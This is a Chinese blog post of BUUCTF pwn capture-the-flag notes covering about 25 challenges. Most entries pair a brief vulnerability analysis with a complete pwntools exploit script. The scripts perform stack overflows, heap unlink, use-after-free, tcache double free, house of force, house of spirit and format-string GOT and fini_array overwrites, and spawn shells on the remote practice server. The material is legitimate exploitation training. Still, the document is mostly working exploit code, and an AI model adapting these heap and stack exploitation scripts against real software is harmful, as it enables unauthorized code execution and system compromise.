1、护网杯_2018_gettingstart
64位,RELRO半开,Canary,NX,PIE全开
就是普通栈溢出
Exp: from struct import pack from LibcSearcher import * from pwn import * #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) pwn="./2018_gettingStart" #p=process(pwn) p=remote("node4.buuoj.cn",25558) elf=ELF(pwn) #gdb.attach(p,'b *0x80485A0') #pause() v5=0x7FFFFFFFFFFFFFFF v6=0x3FB999999999999A payload=b'a'*0x18+p64(v5)+p64(v6) p.sendline(payload) p.interactive()
2、axb_2019_heap
保护全开,ida打开,菜单堆题
申请chunk和修改函数的内容都通过上图函数,申请的函数,能够自己选择索引的相对地址,且chunk的指针存放地址在bss段上,但是且指针地址+8存放的是chunk的size大小,所以一个chunk的数据记录要消耗bss的note结构体的0x10大小,且申请的chunk在bss段的key为0时只能申请大于0x80大小的chunk
该题在最开始的时候还送了个格式化字符串漏洞,泄露libc的基地址,和程序基地址,在脚本断点不太行,直接gdb动调,我先是发现的%3$p%11$p,但是这个libc的基地址远程不行,换成了%15$p%11$p
只有off by one漏洞,则运用unlink 攻击
create(0,0x88,b'a') create(1,0x88,b'a'*8) create(2,0x88,b'/bin/sh\x00') edit(0,p64(0)+p64(0x81)+p64(note-0x18)+p64(note-0x10)+p64(0)*12+p64(0x80)+p8(0x90)) delete(1)
EXP如下,还有一种做法是把chunk0的指针指向key,那样就能申请更小size的chunk,攻击手法就多样化了,这道题就可以用更多的技巧进行攻击
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./axb_2019_heap" #p=process(pwn) p=remote("node5.buuoj.cn",27732) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- def create(index,size,context): p.sendlineafter(">> ",str(1).encode()) p.sendlineafter("create (0-10):",str(index)) p.sendlineafter("size:",str(size)) p.sendlineafter("content: ",context) def delete(index): p.sendlineafter(">> ",str(2)) p.sendlineafter("index:",str(index)) def edit(index,context): p.sendlineafter(">> ",str(4)) p.sendlineafter("index:",str(index)) p.sendlineafter("content: ",context) p.sendlineafter("name: ",b'%15$p%11$p') p.recvuntil("Hello, ") libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240 #-0xf73c0 这是本地打通的偏移,远程libc版本有点偏差,还好函数偏移是对的 pro_base=int(p.recv(14),16)-0x1186 note=0x202060+pro_base sys_addr=libcbase+libc.sym['system'] freehook=libcbase+libc.sym['__free_hook'] create(0,0x88,b'a') create(1,0x88,b'a'*8) create(2,0x88,b'/bin/sh\x00') edit(0,p64(0)+p64(0x81)+p64(note-0x18)+p64(note-0x10)+p64(0)*12+p64(0x80)+p8(0x90)) delete(1) edit(0,b'a'*0x18+p64(freehook)+p64(0x30)) #注意chunk0的size要设置一下
edit(0,p64(sys_addr)) delete(2) print("libcbase-->",hex(libcbase),"pro_base-->",hex(pro_base)) print(hex(note)) #debug() p.interactive()
3、oneshot_tjctf_2016
64位,只开了NX,动态链接,ida打开看看
先读入的会泄露地址,后读入会跳转执行
Exp: from struct import pack from LibcSearcher import * from pwn import * context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./oneshot_tjctf_2016" #p=process(pwn) p=remote("node4.buuoj.cn",27938) elf=ELF(pwn) libc=ELF("./libc-2.23-x64.so") #gdb.attach(p,'b *0x40085C') #pause() p.sendlineafter("location?\n",str(elf.got['puts'])) p.recvuntil("Value: ") puts_addr=int(p.recv(18),16) print(hex(puts_addr)) libcbase=puts_addr-libc.sym['puts'] onegadet=libcbase+0x45216 p.sendlineafter("location?\n",str(onegadet)) #pause() p.interactive()
4、wustctf2020_number_game
32位,输入一个数,要满足如下图所示的要求,先输入一个负数,之后的neg eax将该负数进行取反操作,得到的数要还是负数,32位int类型的范围是-2147483648~2147483647,输入的数小于等于该范围的最小数就行,在读入的时候还是十六进制表示是0x80000000,取反还是0x80000000,表示最小数,nc输入值就行
5、gyctf_2020_some_thing_exceting
把flag存放在了bss段上,读入在s地址处,继续往下看像是菜单堆题,看了实际代码是只有创造chunk,freechunk,和view chunk的功能
先看create chunk,调用一次这个函数就会申请三次chunk,第一次是固定大小的chunk,在44行和45行的内容就是把下图标注的chunk 2 和chunk3 的地址存放在固定的chunk1中,chunk 2和chunk3是自定义大小,但是不能超过0x70,且不存在整数溢出,对申请的chunk的size大小进行了限制
漏洞点在free函数,存在uaf漏洞,在freechunk的时候并没有把chunk的指针置0
view可以作为我们泄露libc的一个助力,在展示的时候是根据固定大小的chunk上存放的地址进行输出,如果我们能够控制该chunk,则可以泄露libc,这道题有flag在bss上的确切地址,则我们可以直接泄露flag
create(0x30,b'a',0x30,b'a') #chunk 123 create(0x30,b'a',0x30,b'a') #chunk 456 delete(0) delete(1)
create(0x10,p64(flag)+p64(elf.got['puts']),0x30,b'a') #泄露libc是附带的,换成别的也行,如下图可以看到,已经能写入chunk 0 的两块内容,接下来就view(0)就是了
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./gyctf_2020_some_thing_exceting" #p=process(pwn) p=remote("node5.buuoj.cn",29194) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- flag=0x6020A8 def create(size1,context1,size2,context2): p.sendlineafter("what you want to do :",str(1)) p.sendlineafter("length : ",str(size1)) p.sendlineafter("> ba : ",context1) p.sendlineafter("> na's length : ",str(size2)) p.sendlineafter("> na : ",context2) def delete(index): p.sendlineafter("what you want to do :",str(3)) p.sendlineafter("> Banana ID : ",str(index)) def show(index): p.sendlineafter("what you want to do :",str(4)) p.sendlineafter("SCP project ID : ",str(index)) create(0x30,b'a',0x30,b'a') #chunk 123 create(0x30,b'a',0x30,b'a') #chunk 456 delete(0) delete(1) create(0x10,p64(flag)+p64(elf.got['puts']),0x30,b'a') show(0) #debug() p.interactive()
6、starctf_2019_babyshell
第5行缓冲区和闹钟函数,之后把buf的地址通过mmap函数改为可读可写可执行,大小为0x1000,写入shellcode,然后有个栈溢出漏洞
该函数限制了我们写入的范围,必须在unk_400978所规定的字符内容里,联系上图,我们要让return 1进行实现,绕过检查,
这道题只要找一道汇编指令且它反汇编的第一个字节是b'\x00'绕过,就能使*i为0跳出循环
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./starctf_2019_babyshell" #p=process(pwn) p=remote("node5.buuoj.cn",25464) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- p.sendlineafter("shellcode, plz:\n",b'\x00\xc0'+asm(shellcraft.sh())) print(asm("add al,al")) p.interactive()
7、zctf2016_note2
ida打开,是一道菜单堆题,四功能齐全,先读入0x40和0x60大小的姓名和地址,都在bss段上,再进入菜单,create函数,最多能申请四个chunk,且大小不超过0x80
这两个函数一个是防止堆溢出一个字节,并将末位置0,第二个函数会多加一个0,放在一起则会产生0ff by null,且如果read读入的size是0的话,能造成堆溢出
show功能,把bss段上指针存放地址的内容输出
free功能没什么异常,重点看edit函数,这里可以选择两种方式,第一种是让dest的数组为0,继续malloc一个0xa0大小的堆块,然后在字符串后面进行输入最多0x8f个数据,然后将chunkptr原大小+14的位置置0,接下来把我们修改的数据放入原来chunk的地址上,第二种是先把原来的内容放入dest的数组中,把我们的read的内容接着原内容,再放入原chunk 的地址,但是这里的漏洞利用只有off by null
通过unlink进行攻击,因为edit无法利用create的堆溢出漏洞,则把堆溢出放在chunk的中间,0xa1为0x91-0x10+0x20,因为fastbin的最小size为0x21
create(0x80,p64(0)+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10)) #chunk 0 create(0,b'aaaa') #chunk 1 create(0x80,b'a') #chunk 2 delete(1) create(0,p64(0)*2+p64(0xa0)+p64(0x90)) #chunk 3 delete(2)
之后就是泄露atoi的地址,然后替换成system
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./note2" #p=process(pwn) p=remote("node5.buuoj.cn",25551) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- def create(size,context=b'a'): p.sendlineafter("option--->>\n",str(1)) p.sendlineafter(":(less than 128)\n",str(size)) p.sendlineafter("content:\n",context) def show(index): p.sendlineafter("option--->>\n",str(2)) p.sendlineafter("note:\n",str(index)) def edit(index,size,context): p.sendlineafter("option--->>\n",str(3)) p.sendlineafter("note:\n",str(index)) p.sendlineafter("[1.overwrite/2.append]\n",str(size)) p.sendlineafter("TheNewContents:",context) def delete(index): p.sendlineafter("option--->>\n",str(4)) p.sendlineafter("note:\n",str(index)) ptr=0x602120 p.sendlineafter("name:\n",p64(elf.got['atoi'])) p.sendlineafter("address:\n",b'a') create(0x80,p64(0)+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10)) #chunk 0 create(0,b'aaaa') #chunk 1 create(0x80,b'a') #chunk 2 delete(1) create(0,p64(0)*2+p64(0xa0)+p64(0x90)) #chunk 3 delete(2) edit(0,1,b'a'*0x18+p64(elf.got['atoi'])) show(0) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] edit(0,1,p64(sys_addr)) p.sendlineafter("option--->>\n",b'/bin/sh\x00') #debug() p.interactive()
8、wustctf2020_name_your_dog
存在后门函数
字符串地址越界写,在bss段上,能做修改的在循环里的倍数为8的为__isoc99_scanf,
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./wustctf2020_name_your_dog" #p=process(pwn) p=remote("node5.buuoj.cn",27691) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- back=0x80485cb p.sendlineafter("which?\n>",str(-7)) p.sendlineafter("plz: ",p32(elf.sym['shell'])) p.recv() #debug() p.interactive()
9、gyctf_2020_force
堆题,只有malloc的功能,但是有堆溢出,固定读入0x50大小的内容,则可以进行house of force ,修改top chunk的size,再malloc使进行任意地址读写
由于保护全开,则要先泄露libc基址,则通过malloc一个比topchunk大的size的chunk让mmap函数分配一片地址,跟libc基址有固定偏移,add函数会泄露该地址
然后修改topchunk的size,再把进行house of force
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./gyctf_2020_force" #p=process(pwn) p=remote("node5.buuoj.cn",28935) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- def create(size,context=b'aaaa'): p.sendlineafter(":puts\n",str(1)) p.sendlineafter("size\n",str(size)) p.recvuntil("addr ") chunk=int(p.recv(14),16) p.sendafter("content\n",context) return chunk libcbase=create(0x200000)+0x200ff0 malloc=libcbase+libc.sym['__malloc_hook'] realloc=libcbase+libc.sym['realloc'] topchunk=create(0x10,p64(0)*3+p64(0xffffffffffffffff))+0x10 ogg=libcbase+0x4526a create(malloc-topchunk-0x30,b'aaa') create(0x20,p64(ogg)*2+p64(realloc+16)) p.sendlineafter(":puts\n",str(1)) p.sendlineafter("size\n",str(21)) #debug() p.interactive()
10、wdb_2018_3rd_soEasy
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./wdb_2018_3rd_soEasy" #p=process(pwn) p=remote("node5.buuoj.cn",26555) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- #debug('b *0x8048518') p.recvuntil("Hei,give you a gift->") stack=int(p.recv(10),16) #pause() leave=0x08048549 p.sendafter("do?\n",asm(shellcraft.sh()).ljust(0x4c,b'a')+p32(stack)+p32(leave)) p.interactive()
11、judgement_mna_2016
格式化字符串漏洞,要我们猜flag
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./judgement_mna_2016" #p=process(pwn) p=remote("node5.buuoj.cn",29401) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- #debug('b *0x0804876D') p.sendlineafter("flag >> ",b'%28$s') #pause() p.interactive()
12、picoctf_2018_buffer overflow 0
其中 argv 便是用来存储参数的 这里会把读入的 flag 存放 flag 变量中 11 是 无效内存访问信号,这表示,当发生无效内容访问时,会将 flag 写入 stderr ,然后 fflush 刷新缓冲区输 第一种方法栈溢出
第二种利用puts函数打印
payload = b'./vuln ' + b'a'*0x1c + p32(elf.sym['puts']) + b'a'*4 + p32(0x804A080) print(payload)13、ciscn_2019_en_3
菜单堆题,free存在uaf,malloc自定义大小的堆块,只有两个功能,动调发现puts函数能够泄露一个libc的函数的地址
libc版本是libc2.27,tcache不检查size位,则doublefree进行攻击
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_2019_en_3" #p=process(pwn) p=remote("node5.buuoj.cn",29775) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size,context=b'a'): p.sendlineafter("choice:",str(1)) p.sendlineafter("of story: \n",str((size))) p.sendlineafter("the story: \n",context) def delete(index): p.sendlineafter("choice:",str(4)) p.sendlineafter("index:\n",str(index)) p.sendafter("your name?\n",b'a'*0x20) p.sendafter("input your ID.\n",b'a'*8) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x81237 #-libc.sym['setbuffer']-231 print(hex(libcbase)) free=libcbase+libc.sym['__free_hook'] sys_addr=libcbase+libc.sym['system'] create(0x20) #chunk 0 create(0x20,b'/bin/sh\x00') #chunk 1 print(hex(free)) delete(0) delete(0) create(0x20,p64(free)) create(0x20,b'/bin/sh\x00') create(0x20,p64(sys_addr)) delete(1) #debug('b $rebase(*0xDD9)') p.interactive()
14、ciscn_2019_final_2
保护全开,ida打开,菜单堆题,只有申请,释放和展示,申请函数只能malloc两种大小的chunk,且展示函数只能输出3次内容,libc2.27,且delete函数存在uaf,且在free之前会对bss段上的bool进行检查,如果为0,则不进行free操作
但是create函数可以配合delete函数使用,create不管是malloc哪种大小的chunk都会将bool的值转1,则可以进行double free
create(2,b'a') delete(2) create(1,b'a') delete(2)
但是现在要泄露libc的基地址
看了wp之后发现init已经在程序创建缓冲区的时候就已经读入了flag,且利用dup2函数将读取flag的fd改为666
#leak ->chunk_low create(1,1) delete(1) create(2,2) create(2,2) create(2,2) create(2,2) delete(2) create(1,1) delete(2) show(2)
先进行chunk的低4字节信息泄露,前面多申请的chunk2都是为了后面合并伪造chunk做准备
#change size ->0x91 create(2,chunk_low) create(2,0) delete(1) create(2,0x91)
这里通过泄露的chunk的低字节位,通过dup将fd指向chunk1类型,再将size位修改为0x91,进行fakechunk,且这里free的chunk1类型是为了下面的操作进行铺垫,
#leak --->libcbase for i in range(7): delete(1) create(2,2) delete(1) show(1)
这里chunk1已经size大小修改为0x91,然后通过double free,将tcache填满,然后进行泄露
create(2,stdin & 0xffff) create(1,0) create(1,666)
这里取低字节通过上面一样的方法修改指针末位,使原本指向main_arena的fd指向了__IO_2_1_stdin_,再createchunk1,如果freechunk2就会从unsorted bin 进行分配,即使freechunk的fd指针指向地址为stdin也无法造成修改
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_final_2" #p=process(pwn) p=remote("node5.buuoj.cn",25965) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(typ,context): p.sendlineafter("> ",str(1)) p.sendlineafter(">",str((typ))) p.sendlineafter("number:",str(context)) def delete(index): p.sendlineafter("> ",str(2)) p.sendlineafter(">",str(index)) def show(index): p.sendlineafter("> ",str(3)) p.sendlineafter(">",str(index)) def bye(context): p.sendlineafter("> ",str(4)) p.sendlineafter(" at last? \n",context) #leak ->chunk_low create(1,1) delete(1) create(2,2) create(2,2) create(2,2) create(2,2) delete(2) create(1,1) delete(2) show(2) p.recvuntil("inode number :") chunk_low=int(p.recvuntil(b'\n')[:-1],10)-0xa0 if chunk_low<0 : chunk_low+=0x10000 print(hex(chunk_low)) #change size ->0x91 create(2,chunk_low) create(2,0) delete(1) create(2,0x91) #leak --->libcbase for i in range(7): delete(1) create(2,2) delete(1) show(1) p.recvuntil("inode number :") libc_low=int(p.recvuntil(b'\n',drop=True))-96 if libc_low<0: libc_low+=0x100000000 print(hex(libc_low)) libcbase=libc_low-0x10-libc.sym['__malloc_hook'] print(hex(libcbase)) stdin=libcbase+libc.sym['_IO_2_1_stdin_']+0x70 print(hex(stdin)) #fd-->666 create(2,stdin & 0xffff) create(1,0) create(1,666) #debug() p.sendlineafter("> ",b'4') p.sendlineafter("at last? \n",b'a') print(p.recv())
15、lctf2016_pwn200
栈可执行,应该是写入shellcode了,ida打开,能输入的第一个函数,能够输入0x30个字节
p.sendafter("are u?\n",b'a'*0x30)
发现能够泄露一个栈地址,接下来的函数能够输入一些数,且最多四字节,如果在if判断范围内,则还会打印输出,如果大于0则返回输入的数
接下来的函数先malloc一个0x40大小的chunk,且dest存放了chunk的地址,然后在栈上读入0x40大小的内容,且dest指针距离rbp8个字节,但是buf读入刚好能够覆盖指针的值,再把读入的内容复制到指针指向的位置,再指针地址存放在bss段上的ptr处,
接下来进入堆的菜单循环,只能申请和删除一个堆块,且存放堆块地址的地方是在上面提到的ptr地址处,这道题用了函数嵌套,gdb动调发现我们通过第一个函数能够控制高地址处的内容,通过第三个函数能够控制低地址内容,则只要fakechunk在中间一块内存,就有了中间一块区域的读写能力,关于这道题就能将返回地址篡改为我们的shellcode地址,这道题运用的是house of spirit
因为我们能够通过第一个函数泄露栈地址,且距离我们写入的地址有固定偏移,则我们在此函数往栈上写入我们的shellcode,如下图所示,shellcode和money都是可控的内存范围,利用chunk的指针伪造chunk将中间的一段内存区域能够写入数据,则可以将 返回地址进行修改为shellcode
fakechunk=shell_addr-0x50 p.sendlineafter("id ~~?\n",str(0x41).encode()) p.sendafter("money~\n",p64(0)*5+p64(0x41)+p64(0)+p64(fakechunk))
如下图所示,已经将bss段上的指针指向了栈地址
如下图freechunk,之后再进行申请就可以修改返回地址,之后退出就行
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./pwn200" p=process(pwn) #p=remote("node5.buuoj.cn",25965) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- #debug('b *0x400B0B') paylaod=asm(shellcraft.sh()).ljust(0x30,b'a') p.sendafter("are u?\n",paylaod) p.recvuntil(paylaod) shell_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x50 print(hex(shell_addr)) fakechunk=shell_addr-0x40 p.sendlineafter("id ~~?\n",str(0x41).encode()) p.sendafter("money~\n",p64(0)*5+p64(0x41)+p64(0)+p64(fakechunk)) p.sendlineafter("your choice : ",str(2).encode()) p.sendlineafter("your choice : ",str(1).encode()) p.sendlineafter("how long?\n",str(0x30).encode()) p.sendlineafter("48\n",p64(0)*3+p64(shell_addr)) p.sendlineafter("your choice : ",str(3).encode()) #pause() p.interactive()
16、suctf_2018_stack
简单栈溢出
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./SUCTF_2018_stack" #p=process(pwn) p=remote("node5.buuoj.cn",29401) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #------------------------------------------------------------------------------------------------------- p.send(b'a'*0x28+p64(0x40067a)) p.interactive()
17、bjdctf_2020_YDSneedGrirlfriend
菜单堆题,存在申请,释放,输出chunk的功能,且free功能存在uaf
show功能初步判断为print的函数地址存放在chunk的内容中
存在后门函数
把puts函数地址改为后门函数地址
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./bjdctf_2020_YDSneedGrirlfriend" #p=process(pwn) p=remote("node5.buuoj.cn",26825) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size,context=b'a'): p.sendlineafter("Your choice :",str(1)) p.sendlineafter("size is :",str(size)) p.sendafter("Her name is :",context) def delete(index): p.sendlineafter("Your choice :",str(2)) p.sendlineafter("Index :",str(index)) def show(index): p.sendlineafter("Your choice :",str(3)) p.sendlineafter("Index :",str(index)) backdoor=0x400B9C create(0x80) #chunk 0 create(0x60) #chunk 1 puts=0x400863 delete(0) delete(1) create(0x10,p64(backdoor)) #chunk 2 show(0) #debug() p.interactive()
18、gyctf_2020_signin
存在后门函数,算是菜单堆题,因为函数没有去符号,且没有偏差,功能为增加,删除,修改
增加功能,最多能申请10个固定大小的chunk0x70,且通过索引进行chunk的分配,chunk的指针和状态标识都存放在bss段上
19、xman_2019_format
ida打开函数嵌套,就列出两个比较重要的函数,第一个函数能把我们输入的内容写入chunk中,且把改地址传参进下一个函数,最多能输入0x37个字节
buf地址最终传给s,再调用strtok进行把s内容切割,把第一个“|”前面的内容赋给v1,再打印,接下来进入循环,把切割剩下的继续进行分割,知道分割完也就是遇不到“|”符号,这里就能进行格式化字符串漏洞利用,但是因为写入的内容在堆,所以我们不能自己添加指针输入,则只能利用栈上已经存在的指针进行操作,这里利用动调看看
可以看到如下图所示,我们将ebp的链修改为指向返回地址的地方,再通过d028将返回地址修改为后门函数地址
接下来就是爆破栈上的最后一个字节
from pwn import * context.log_level='debug' for x in range(4, 0x100, 4): tar = '%' + str(x) + 'c%10$hhn|%34219c%18$hn' try: p = process('./xman_2019_format') # p = remote('node3.buuoj.cn', 27180) log.info('current low byte:{}'.format(hex(x))) p.recv() p.sendline(tar) p.recv(timeout=1) sleep(1) p.sendline('cat flag') p.recvline_contains('flag', timeout=1) p.interactive() except: p.close()
20、ciscn_2019_sw_1
这里注意RELRO关了,则init.array、fini.array、got.plt
均可读可写;为PARTIAL RELRO
的时候,ini.array、fini.array
可读不可写,got.plt
可读可写;为FULL RELRO
时,init.array、fini.array、got.plt
均可读不可写,根据函数正常的执行流,函数执行前会调用init类初始化函数,执行后会调用fini.array[]数组里地址对应函数。所以如果我们将其改为main函数,那么可以再次输入参数“/bin/sh\x00”拿到shell
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_2019_sw_1" #p=process(pwn) p=remote("node5.buuoj.cn",27145) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #--------------------------------------------------------------------------------------------------- fini=0x804979C main=0x8048534 call_system=0x80483d0 printf=0x804989c #debug('b *0x8048589') payload=b'%'+str(0x804).encode()+b'c%13$hn'+b'%'+str(0x83d0-0x804).encode()+b'c%14$hn'+b'%'+str(0x164).encode()+b'c%15$hn'+p32(printf+2)+p32(printf)+p32(fini) p.sendlineafter("name?\n",payload) sleep(1) p.sendline(b'/bin/sh\x00') p.interactive()
21、picoctf_2018_are you root
getflag
主函数应该是菜单堆题了,但是做的感觉有点抽象,在申请堆块的时候会申请两个0x21大小的chunk,前一个chunk保存后一个chunk的地址,+8保留的是auth,且free的时候只会free后一个chunk,且内容不做清空,则可以把5写上去再进行申请就能直接getflag
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./PicoCTF_2018_are_you_root" #p=process(pwn) p=remote("node5.buuoj.cn",28319) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def get_flag(): p.sendlineafter("> ",b'get-flag') def show(): p.sendlineafter("> ",b'show') def login(context): p.sendlineafter("> ",b'login '+context) def delete(): p.sendlineafter("> ",b'reset') def setauth(context): p.sendlineafter("> ",b'set-auth '+context) login(b'aaaaaaaa'+p64(5)) delete() login(b'aaaaa') get_flag() #debug() p.interactive()
22、rootersctf_2019_srop
23、hitcon_2018_children_tcache
保护全开,ida打开,菜单堆题,增删查
24、hgame2018_flag_server
下图对输入的v5进行限制,但是没有对负数进行检查,即整数溢出,则直接覆盖v10
p.sendlineafter(" length: ",str(-1)) p.sendlineafter("username?\n",b'a'*0x40+b'\x01')
25、[BSidesCF 2019]Runit
直接写入shellcode就行了
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./runit" #p=process(pwn) p=remote("node5.buuoj.cn",28993) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- payload=asm(shellcraft.sh()) p.sendafter("stuff!!\n",payload) p.interactive()
标签:libc,create,第四页,笔记,buu,sendlineafter,pwn,import,chunk From: https://www.cnblogs.com/fheap/p/17861173.html